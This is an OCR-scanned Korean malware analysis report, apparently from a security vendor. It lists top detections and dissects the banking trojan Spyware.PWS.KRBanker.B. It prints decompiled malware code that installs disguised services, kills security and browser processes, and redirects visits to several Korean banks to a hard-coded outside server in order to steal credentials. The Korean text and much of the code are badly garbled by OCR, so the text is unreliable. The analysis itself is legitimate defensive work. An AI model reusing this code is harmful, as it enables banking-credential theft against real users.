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1 — Spyware.OnlineGames.wsxp Spyware 5,889
2 New  Trojan.Generic.8297884 Trojan 2,644
3 New  Gen:Variant.Kazy.125570 Etc 2,629
4 New  Gen:Variant.Kazy.13284 Etc 2,343
5 New  Adware.Generic.345040 Adware 2,309
6 {3 Trojan.Downloader.KorAdware Trojan 2,240
7 {5  Gen:Variant.Zusy.4661 Etc 2,107
8 t3  Hosts.gms.ahnlab.com Host 2,056
9 New  Worm.Palevo.D Worm 1951
10 {3 Trojan.DownloaderATGG Trojan 1,939
11 New  Gen:Trojan.HeurigWaXrUvkge Trojan 1912
12 New  Gen:Trojan.Heur.PT.mgqZ@GOmIOf Trojan 1,859
13 New  Trojan.JS.Agent.HFM Trojan 1,845
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2. ¥d3AE ol =M - “Spyware.PWS.KRBanker.B”

(1) 712
0] 243 E= Spyware.PWS.KRBankerAS| HEZozZ E7 QIEUl WZ AO|E(RZ|2H,
FUSH, NHEH, k7|22 M2 Al 1 QEYW %Y AO|E9| URIS 20lstof o
MAC MAXIF GHE CH2 AO|ER M2 Al7|E otMaColC)
Spyware.PWS.KRBanker A2t CtE M2 SFXE O0|2%|X| &1, EY IR 0|20 SEtst
o XAo] EXME X[fs HRIE oCt= FOICHL
(2) W9 £
@ winlogones.exe
Detection Name File Name Size(Byte)
Spyware.PWS.KRBanker.B | winlogones.exe 109568

5 222 =QotE Windower 2t= =2 FS RO EMSCHE 1 =9
0[8510] Z=ZA[ZICL. Windower 2t= O|F2

=Eo
==
EREN S5 2dS LXS=0 AHEECH

=

inlogones.exeIt A0 A A St=
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void _ usercall start{int al<ebx>, int a2<edi>, int a3d<esil)}
{

HWND w3; // eaxz@1

void =uh; f/ ecxiEl

int vw%; // ecx@3

int vé; // ecx@5

int vw?; // ecx@5

HAMDLE vg; // esi@6

DWORD v9; // ediB6

int vi18; // ebx@4

HWND wi1; // eaz@1@

HUWND wi2; // ear@12

int v13; // [sp-18h] [bp-148h]E@3

int (*=u14)(); // [sp-14h] [bp-144h]@3

int =u15; // [sp-18h] [bp-148h]@3

int vi16; // [sp-Ch] [bp-13ch]@1

void {_ cdecl *u17){(); // [sp-8h] [bp-138h]E1

int =u18; // [sp-%h] [bp-13%h]@1

char v19; // [sp+Ch] [bp-124h]@5

int v2@; // [sp+16Ch] [bp-2%h]@1

int w21; // [sp+118n] [bp-26h]@1

int v22; // [sp+114h] [bp-1Ch]@1

double v23; // [sp+118h] [bp-18h]@3

int w2u; /7 [sp+136h] [bp+6h]@1

uzi = 8;

uz2z2 = 8;

uz2l = 8;

Sysipit_ linkproc__ InitExe(};
v1g = &u2h;

17 = j_unknown_libname 56_8;
ul6 = =HK_FP(_FS_, 8);

*MK_FP(_FS_, B) = &uin;
System  linkproc  LStrClr(off 427808);

u2 = FindWindowA{"Windowner®, “The Windowner™);
if { vd )
SendHessageA(vz, WH_CLOSE, 8, 8);
15 = RuZh]
uls = loc_419D47;

U123 = =HK_FP(_FS_ , 8);
*MK_FP{_ FS_, @) = &ui3;
Create_Directory_File_Service{uvi};
u23 = sub_48B1DB{"2812-12-26", v5);
if { SystemTime_Check{} > w23 )}
{

*x0ff_U279FC = 13

Self_Remove{al, a2, a3);

y
(33. FindWindowAgts-2} £ 0|82 71 AE=LE 0|85l0 I5

>
o
mjo
13
|
Ot
rr
kLl
In

Create_Directory_file_Servicegt= &8 0|80 M
"CHWINDOWSWsystem32WmuisWtempbl~1Wtempbl~1"EE 7} ZEX|st=X| =2 st =
EAWSHA| o™

llpBinaryPathName2 C:HWINDOWSHsystem32¥muisWtempbl~1#tempbl~1#tcsrsses.exe
2 S}= Windows Video Management Services Extensions2t= O|E2| AMH|AE MY
2.IpBinaryPathName=2 C:WWINDOWSHsystem32¥#¥muisttempbl~1¥tempbl~1%
winlogones.exe2 dSf= Windows Update Management ExtensionsZt= O|E92| MH|AE
4y

3TN AR o2 CHWINDOWSWsystem32¥WmuisWtempbl~1Wtempbl~1#
winlogones.exe2 S Af

4. CHWINDOWSWsystem32¥muisttempbl~1Wtempbl~1Wcsrsses.exe OIS M

5. 9N HE mUS MHStE AIEES AHE0H0] A

6. C:HWINDOWSWsystem32¥WmuisWtempbl~1#tempbl~1#twinlogones.exeE A&l

g o|x| |7
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if { *Sysutils  DirectoryExists{dword 42?8AB8) )
{

Systen linkproc LstrCatH{v1, 3, dword_417518, csrsses_exe, dword 17518, vo, vid, vii);
CREATE_SERVICE{"Windows Uideo HManagement Services Extensions™, vi7f);
J5TE Sl FLAtA{ U2, 3, duord_7 T, U bgones_exe, dword_4¥17518, vo, vid, vil);
— indows Opdate HWanagement ExTensions™, vid); |
¥ ] FO_UZ8AAE) )
{
u3 = 3ystem linkproc LStrToPChar (dword_428AAL4) ;
CreateDirectoryn({v3, 8);
¥
if { *Sysutils  DirectoryExists{dword_ 428ABL4) )
{
vl = Jystem linkproc LStrToPChar (dword_428AAC) ;
CreateDirectoryn{vy, 8);
e
u% = System linkproc LStrToPChar (dword_428ACA);

if { CreateDirectoryn(vs, 8) ) F4 CiHUWINDOWSHsystem32¥muisttempblogs. .Mtempblogs. .. W
{

sub_416D78(C_WINDOWS_system32, off_42783C[8]);

winlogones . exe = System linkproc___ LStrToPChar{winlogones_exe);
System_ ParamStr (@, &uiS);

Dropper = System linkproc LStrToPChar (vi5);

CopyFileA{Dropper, winlogones.exe, B@);

CREATE FILCE{CSF5565 EXEJ:
1mFUFFET'SETf'TETHnﬂ?FTT"'J

ExitPruEess(E);

H
¥

(2 3. Create_Directory_file_Service QA E)

"C:HWINDOWSWsystem32WmuisWtempbl~1Wtempbl~1"7} Z=X{stCHH

Create_Directory_file_ServiceE WMALI2A E11 1 O|F0| GetlLocalTime &4+E O|&3}
Of 2012-12-26Y O[30 SX2 S AMTETL ALSYE MH[A, Y, ZRE AH
X el ot g5 SHSHA &

2012-12-26Q O|™O| SXStCHH oixf S&5IL A= Z2 ML FHO| winlogon.exe 21X
£ 210l 5}3 winlogonexeZt OfL|IDT ®IXf SXBlD QU TRHAZ o SO &
& winlogon.exeOf Q1M MGHCt,

1 0|z AYHEE HEstH Windowner 2t= =25 ddstd EF AMO|ENAM logit
2= Ci2®=Ct

Ho|x| | 8
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Create_Directory File Service{ul);

[U7F = cub _HOBTDO{ Z01Z-1Z-Z&™, 05J); |
if { SystemTime_Check{) > v23 )}
{

**x0fF_J279FC = 1;

Self_Remove{adl, aZ, a3};
H
=0ff_UZ279EL = B;
sub_4BEB4MC{v5S, al};
Windows_ZeroMemory{&Filename, 268);
#(&Filename + GetHModuleFileHamefn{8, &Filename, B8x184u)) = @;
unknown_libname_78{&v21, &Filename, 261);
sub 4BDFDE{uv21, &u2Z2);
System linkproc__ LStrAsg{&dword 428ESC, vZ2);
Windows_ ZeroMemory{&byte 428D84, 268);
*{&byte 428084 + GetSystemDirectoryn{&byte 428D8Y4, Ox184u)) = B;
System linkproc CToPasitr{&ui1?, &buyte_ 428DBA4);
unknown_libname 69({&vZ0, &u19, ubH);

System linkproc LStrCatH{v7, 3, "winlogon.exe', "W, v20, v13, vik, vi5);

iF { sub_Ae07/Af{dvord NZ8ESC, "winlogon.exe"} )
{

u? = GetFileSize(v&, 8);

viB = System_ linkproc__ GetMem{u?%};
ReadFile{v&, vi18, v9, &HumberOfBytesRead, 8);
CloseHandle{uvd);

Injection{dword 428E98, " ™, vid);

System__ linkproc___ FreeMem{v18);

¥

vi = CreateFileA(&Filename, 0x80000808808u, 1u, B, OPEH _EXISTING, FILE_ATTRIBUTE_HORMAL,

8)

CreateThread{d, 8, Hake Windowner_UWindow,| 8, 8, &ThreadId);
CreateThread{8, 8, Download_log,| 8, B8, &dword_428E94);
=HMK_FP({__FS_ , @) = vin;
while { 1 )
{

CreateThread(8, 8,[Anti_AU, |8, 8, &dword uU28EAAL);

CreateThread(@, O,|Watch_csrsses_And_Winlogones,| 8, 8, &dword_428EAB);

if { t=off_4W2F79E4 )

=0ff_4279E4 = CreateThread{8, 8, sub_18aF4, B8, 8, E&dword 4ZBEDB);

u11 = FindWindowA{"#32778", "CSRSSES.EXE");
if § vi11 )
PostMessageA{vi1, WM CLOSE, 8, 8);
vi2 = FindWindowA{"#32770", "csrsses.exe - =2 DTz )2H o=");
if { vi2 )
PostMessagefa{viZ, WM _CLOSE, @, @);
sub_M16C7C();
S5leep{8xBB8u});

(33l Start &+ OJAIAE)

2l X[EHHOZ V3, Yo, Uo|HE Aol Z=NAE ZHA|SHH, csrsses.exe?t My &

Ho|x| |9
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if { Search_Process{"winlogones.exe™) )}
{
sub_4BEB4C(v3, al);
Terminate_Process{"winlogones.exe");
¥
if { t'Sysutils DirectoryExists{dword 428AB8) )
{
if { *Sysutils DirectoryExists{dword 428AA4) )
{
ul = System linkproc LStrToPChar (dword_428AAL);
CreateDirectoryn{vy, 8);
e
if { *Sysutils_ DirectoryExists{dword_A428AB4) )
{
u5 = System linkproc LStrToPChar (dword_428AAC);
CreateDirectoryAa{vs, B8);
¥
ufi = System linkproc
CreateDirectoryA{vs, B8);
b

LStrToPChar {dword_428ACA);

if { Sysutils__ FileExists{) )}

{
dword_428BBEY4 = FindWindowA{'WinIEner881", "The WinIEner881");
if { tdword_4?8BEXN )

{
u7 = System___ linkproc___ LStrToPChar({csrsses_exe);
WinExec{v7, 8);
¥
¥
else
{
if { CREATE_FILE{csrsses_exe) )
{
System__ linkproc___ LStrCatH(v8, 3, dword_417728, csrsses_exe, dword 417728, vil, vi2, vi3);
CREATE_SERVICE("Windows Uideo Management Services Extensions™, v28);
ug = System linkproc___ LStrToPChar{csrsses_exe);
WinExec(v?, B8);
¥
¥
(& csrsses SE2 =QIst= &4 QAR L)

@ U nt (csrsses.exe)

Detection Name File Name Size(Byte)

Spyware.PWS.KRBanker.B | csrsses.exe

51712

AEO| AR BE2Z 0I5 H Winlogones.exe 2| A|AEEN QALSEA WinlEner0010| 2t
= =3
— =

XD ERSICIH O =0 HES 0|8

oto] Z=AIZICE d2(1 Y

g o|x| | 10
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vd = FindWindowA{"WinlEnerdd1™, “"The WinlEnerdai1™});
if ( v3i )
SendMessaged{v3, Bx18u, B, @)
i = &ul7;
ui = loc_X41628E;

uhb =HK_FP{__FS__ , 8);

=MK_FP{__F5__, B) = &vui;

=0ff 417580 a;

=0ff_41745C = O;

=0ff_W1748C a;

sub_4BCB&6C{vY, al);

Windows__ ZeroMemory(&Filename, 268);

#{&Filename + GetHoduleFileMameA(@, &Filename, B@x184%u)}) = B;
unknown_libname_315(&v15, &Filename, 261);

sub_Y4BSFCC{ui15, &uwia);

System__ linkproc___ L3trAsq{&dword 418CCH, vid);

Windows__ ZeroMemory(&byte 418BCA, 268);

={&byte Y1BBCA + GetSystemDirectoryn{&byte H18BCH, Bx184u)) = 8;
System__ linkproc CToPasStr{&uv13, &byte H18BCA);
unknown_libname 314{&ui4, &u13);

System__ linkproc___ L3trCatH{&dword_M18BCCC, 3, v5, v7, vi, vlls, dword_W16368, “calc.exe™);
if { unknown_libname_ 87 {dword_418CC8, "calc.exe™) )

1

a3 CreateFilea(&Filename, B0x80000800u, 1u, @, 3u, B8x80u, 8);
a2 GetFileSize(a3, A8);

a1l = System___ linkproc___ GetHem({aZ);

ReadFile({a3, al, aZ, &NHumberOfBytesRead, 8);

CloseHandle{a3);

sub_4B666C{dword_418CCC, &dword H1638R);

System__ linkproc___ FreeMem{al};

i

IduCard  16426{(=off 417464)[8], &ui1Z2, a1, a2, a3d};
System___ linkproc___ L3trAsqg{off_u17568[0], viZ);
CreateThread{8, 8, Hake WinIEner 881 _Window, 8, 8, &ThreadId};
CreateThread{8, B8, Search_Bank_String, 8, 8, &dword_ 4%18CD8);
=MK_FP{__FS__, 8) = u9;

while § 1 3}
{
ull = &uils;
ull = loc_u4162F7,;

ud = =HK_FP{__F3__, 8);
*MK_FP{__FS__, 8) = &uo;
CreateThread(®, @, Watch_csrsses And _Winlogones, @, 8, &dword 418CDA4);
if { FindWindowA{"Chrome WidgetWin 1, @) }
{
Terminate_Process{"chrome.exe'};
HessageBoxA(A, "ZHtGoogle 3 E0| ¥, "Google 2ZE", Bx40030u);
H
*HK_FP(__FS__, 8) = v9;

(O3l Start € 9AIRE)

bl

d O]
il

S
g A
|(NH

A

StH iexplores.exeg A

El

[0| O|2OIXIA BT S Hes Ched 2Lt
5lo] QU AAEZE T} SEEQ X E =9l

anK:;:, MyKB-Mypag, WoorlBanK_, IBK-Login_)& H|wsl| AEZ0|

csrsses.exeOf| A
1. FindWindow

2. 2% A A

Ol

A
m

Im 0% riz
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3
=
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o

i
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int  usercall sub 415218<eax>(HWNHD ai1<eax>)

{

char vi; 775 zf@i

char v2; 7/ zf@2

char v3; 7/ zf@3

char vh; 75 zf@h

int (=iexplores.exe){); // eax@5
int w7; // [sp-Ch] [bp-114h]@1

int (_ fastcall =u8)(HWND); /7 [sp-8h] [bp-11Bh]@1
int (_ fastcall =u9)(HWND)}; /7 [sp-4h] [bp—18Ch]@1

int v18; /7 [sp+Bh] [bp—188h]@1
LPARAM 1Param; // [sp+4h] [bp—1B4h]@1
int v12; /7 [sp+184h] [bp-4h]@1
int v13; /7 [sp+188h] [bp+Bh]@1

via = B;

vilZ = B;

va &uid;

vl loc_ M1S2ER;

vy =MK_FP({__F5_, @);
=MK_FP({__F3_, B) = &u7;

SendMessaged{al, WH_GETTEXT, 8x%188u, &l1Param});

unknown_libname 315(&v18, &LFaram, 256);
Leftitr{vin, 18);

System linkproc LstrCmp{uvi2, "HH BanK:z;:=""}

ifF { v

|1 {System linkproc__ LStrCmp{vi2, "HMyKB-Mypag"}, v2)}
|1 {System linkproc__ LStrCmp{vi12, "WoorIBanK_ "}, v3)}
|1 {System linkproc__ LStrCmp{vi12, "IBK-Login "'}, wvi) )}

{

iexplores.exe = System linkproc LEtrToPChar{=off L174EL);

WinExec{iexplores.exe, 1ul;
b

=MK_FP{__F3_ , 8) = u7;

ud = loc_ MS2EF;

System linkproc__ LStrClr{&u18);

return System linkproc_ LStrClr{&ui2);

}a

[=

o]

(2. 28 #a 2EY gol

o [

r

oo

+ AE)

ES I'soft copyright © by ESTsoft Corp. Al rights resenved
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3. £8 AO|EZ mtgstrt.
ufh = System linkproc__ LStrToPChar{u29};

vt = vuh;

u7 = Sysutils_ StrPos{u6, "nonghyup.com/"});
unknown_libname_312{&v27, w7, u3};

U8 = Sysutils_ StrPos({uS5, "kbstar._.com/™);
unknown_libname_312{&u28, v8, vi);

u9 = Sysutils_ StrPos{uS, “wooribank.com/"});
unknown_libname_312{&v26, w9, ul);

u1B = Sysutils_ StrPos{v5, "ibk.co.kr/"});
unknown_libname_312{&v25, w16, vi);
RightStr{vzo, 9);

system linkproc__ LStrCmp{vZ4, “bank.htm?"};
if ( tull )

if ( byte_418AAB == 1 )

Sleep{B8x2718u);
=0ff_W1758C = 1;
sub_4W1S@8FB{uL, a3, v5);

H

if ( v27 )

{

System linkproc___ LStrCatN(&u23, 3, v3, vi8, vi7, "http:z//", (*=off_W17598)[0], “/nh/");/F http:I//283.190.236.9/nh/
ul2 = System linkproc__ LStrToPChar{u23});

SendMessagef{v4, WH_SETTEXT, B8xFFu, v12);

SendMessageA(v4, WH_KEYFIRST, B8xDu, 8);

(1. TYE LYok

o
4
hu
!_I]

4. A-ERXH0 A= URIZF Z&el AME EOjFC0
System linkproc__ LStrCat3{&v27, (=off_W17598)[08], “/nh/");
u2B = Systemn linkproc__ LStrToPChar{u27};
vi = System linkproc__ LStrToPChar{viz);
uh = yu3;
uS = Sysutils_ StrPos{vi, v2@);
unknown_libname_312{&v31, u5, ud});
System linkproc__ LStrCat3{&v26, (=off_W17598)[08], “/kb/");
ui = Zystem linkproc__ LStrToPChar{v26});
vZ2a = u7;
v = Sysutils StrPos{uvh, u7);
unknown_libname 312({&v32, uvd, ul});
system linkproc__ LStrCat3({&v25, (=off_W17598)[8], "fwoori/");
u18 = System linkproc__ LStrToPChar{u25);
v28 = vulB;
u11 = Sysutils  StrPos{vi, uid);
unknown_libname 312(&vza, vil, vi2);
system linkproc__ LStrCat3{&v24, (=off_W17598)[08], "/fibk/");
vi13 = Systenm linkproc__ LStrToPChar{u2h});
vl = Sysutils  StrPos{vi, uid);
unknown_libname 312(&v29, uvik, uiS});
RightStr{vzz, 28);
RightStr{v33, 6);
28 = &u3lk;
vil? = &loc_W15573;
uil8 = =MK_FP{__FS__, 8);
=MK_FP{__FS__, B8) = &uig;
if { w3l )
{
SendMessageA{v2, WHM_SETTEXT, BxFFu, “http://banking.nonghyup.comn/bank.htm?");
Sendiessagea{vz, WH_SETFOCUS, @, 8);
Sendiessagea{vz, WH_KILLFOCUS, 8, 8);
¥
if ( w3z )
{

SendMessageA{v2, BxCu, BxFFu, "https:/fobank.kbstar.com/quics?page=CA27221&weblog=bank.htm?"};
SendHessageA{v2, Fu, 8, 8);
SendHessageA{v2, Bu, 8, 8);
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